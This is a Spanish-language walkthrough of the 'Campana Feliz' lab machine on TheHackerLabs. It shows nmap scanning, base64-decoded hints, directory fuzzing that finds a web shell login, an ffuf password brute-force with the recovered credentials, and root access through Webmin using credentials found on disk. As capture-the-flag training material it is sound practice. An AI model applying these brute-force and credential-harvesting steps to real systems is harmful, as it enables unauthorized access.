Maquina Campana Feliz
- OS: Linux
- Plataforma: TheHackerLabs
- Nivel: Easy
- Tags: #bruteforce #ffuf
Reconocimiento¶
Comienzo con un ping para comprobar conectividad:
> ping -c 1 192.168.1.204
--------------------------------------------------------------------
PING 192.168.1.204 (192.168.1.204) 56(84) bytes of data.
64 bytes from 192.168.1.204: icmp_seq=1 ttl=64 time=5.20 ms
--- 192.168.1.204 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 5.198/5.198/5.198/0.000 m
Realizo un escaneo con nmap para descubrir puertos abiertos.
> sudo nmap -p- -sS -Pn -n --min-rate 5000 192.168.1.204
----------------------------------------------------------
PORT STATE SERVICE
22/tcp open ssh
8088/tcp open radan-http
10000/tcp open snet-sensor-mgmt
Sobre los puertos abiertos realizo un segundo escaneo para descubrir versiones, servicios y correr un conjunto de scritpts predeterminados.
> sudo nmap -p 22,8088,10000 -Pn -sC -sV --min-rate 5000 -n 192.168.1.204 -oN target
---------------------------------------------------------------------------------------
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 3d:9f:d1:71:81:33:e4:14:8a:78:1c:16:b4:a3:22:da (ECDSA)
|_ 256 74:3f:23:c1:c2:68:1e:b5:72:44:8a:8c:02:e4:e5:02 (ED25519)
8088/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
10000/tcp open ssl/snet-sensor-mgmt?
| ssl-cert: Subject: commonName=debian/countryName=US
| Subject Alternative Name: DNS:debian, DNS:localhost
| Not valid before: 2024-12-09T08:17:52
|_Not valid after: 2029-12-08T08:17:52
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.0 200 Document follows
| Date: Tue, 2 Dec 2025 02:24:13 GMT
| Server: MiniServ
| Connection: close
| Auth-type: auth-required=1
| Set-Cookie: redirect=1; path=/; secure; httpOnly
| Set-Cookie: testing=1; path=/; secure; httpOnly
| X-Frame-Options: SAMEORIGIN
| Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; frame-src 'self'; child-src 'self'
| X-Content-Type-Options: nosniff
| X-no-links: 1
| Content-type: text/html; Charset=UTF-8
| <!DOCTYPE HTML>
| <html data-bgs="gainsboro" class="session_login">
| <head>
| <meta name="color-scheme" content="only light">
Encontramos los siguiente puertos abiertos:
- Puerto 22 SSH: OpenSSH 9.2p1 Debian 2+deb12u3
- Puerto 8088 HTTP: Apache/2.4.62
- Puerto 10000: ssl/snet-sensor-mgmt.
Enumeración¶
Puerto 8088 HTTP¶
- Este puerto no es mas que una pagina en blanco, pero viendo su codigo fuente podemos ver 2 cadenas codificadas en
base64
Decodificamos las cadenas y este es el contenido:
> echo "Q2FtcGFuYSBzb2JyZSBjYW1wYW5hCgpZIHNvYnJlIGNhbXBhbmEgdW5hCgpBc8OzbWF0ZSBhIGxhIHZlbnRhbmEKClZlcsOhcyBlbCBuacOxbyBlbiBsYSBjdW5hCg==" | base64 -d; echo
Campana sobre campana
Y sobre campana una
Asómate a la ventana
Verás el niño en la cuna
> echo "Q2FtcGFuYSBDYW1wYW5hIENhTXBBTkEgQ2FNcGFOYQo=" | base64 -d; echo
Campana Campana CaMpANA CaMpaNa
- Campana puede ser algún posible usuario.
Fuzzing
Realizamos fuzzing utilizando feroxbuster para ver que otros recursos podíamos encontrar:
> feroxbuster -u http://192.168.1.204:8088/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,py,txt,xml,js -t 30
------------------------------------------------------------------------------------------------------------------------------------------
200 GET 44l 98w 1359c http://192.168.1.204:8088/shell.php
- Encontramos el recurso
shell.phpque al parecer es solo un login para acceder a una shell.
Puerto 10000¶
- Aqui al parecer corre un servicio llamado
Webminque se utiliza para gestionar sistemas Unix/Windows de manera remota desde el navegador.
Explotación¶
Mi primer objetivo es el login form de shell.php al no tener ningún rate limiting o protección, pienso realizarle fuerza bruta utilizando ffuf por lo cual primero procedo a interceptar la petición con burpsuite y pasarla a un archivo llamado login-bf.
- Para el usuario utilice variantes de "Campana" que fue lo que encontramos en texto codificado en
base64y la que me funciono fue "campana". - Así es como queda el archivo de petición.
POST /shell.php HTTP/1.1 Host: 192.168.1.204:8088 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.1.204:8088/shell.php Content-Type: application/x-www-form-urlencoded Content-Length: 32 Origin: http://192.168.1.204:8088 DNT: 1 Connection: keep-alive Cookie: PHPSESSID=3g2m7a2tfkb6tumehkc48e9r6k Upgrade-Insecure-Requests: 1 Priority: u=0, i username=campana&password=FUZZPASS
Ya teniendo el archivo de petición ahora si podemos utilizar ffuf para realizar fuerza bruta:
- Encontramos las credenciales "campana:lovely"
> ffuf -request login-bf -request-proto http -mode pitchfork -w /usr/share/wordlists/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt:FUZZPASS -fr "Username.*password.*invalid"
-------------------------------------------------------------------------------------------------------------------------------------------------------
lovely [Status: 200, Size: 1616, Words: 704, Lines: 53, Duration: 5ms]
Al acceder vemos una especie de web-shell.
Una vez dentro de esta shell intente entablarme una reverse-shell pero no tuve éxito. Por lo cual me dio por buscar directorios/archivos hasta que di con el directorio /opt.
- Aqui me encontré un archivo llamado
CMS Webmin.txtel cual decidí inspeccionar: - Encuentro credenciales para el webmin santaclaus:FelizNavidad2024
Al acceder al Webmin me voy al apartado de ejecución de comandos para ver que usuario soy.
- Me encuentro que soy el usuario root.
PWNED






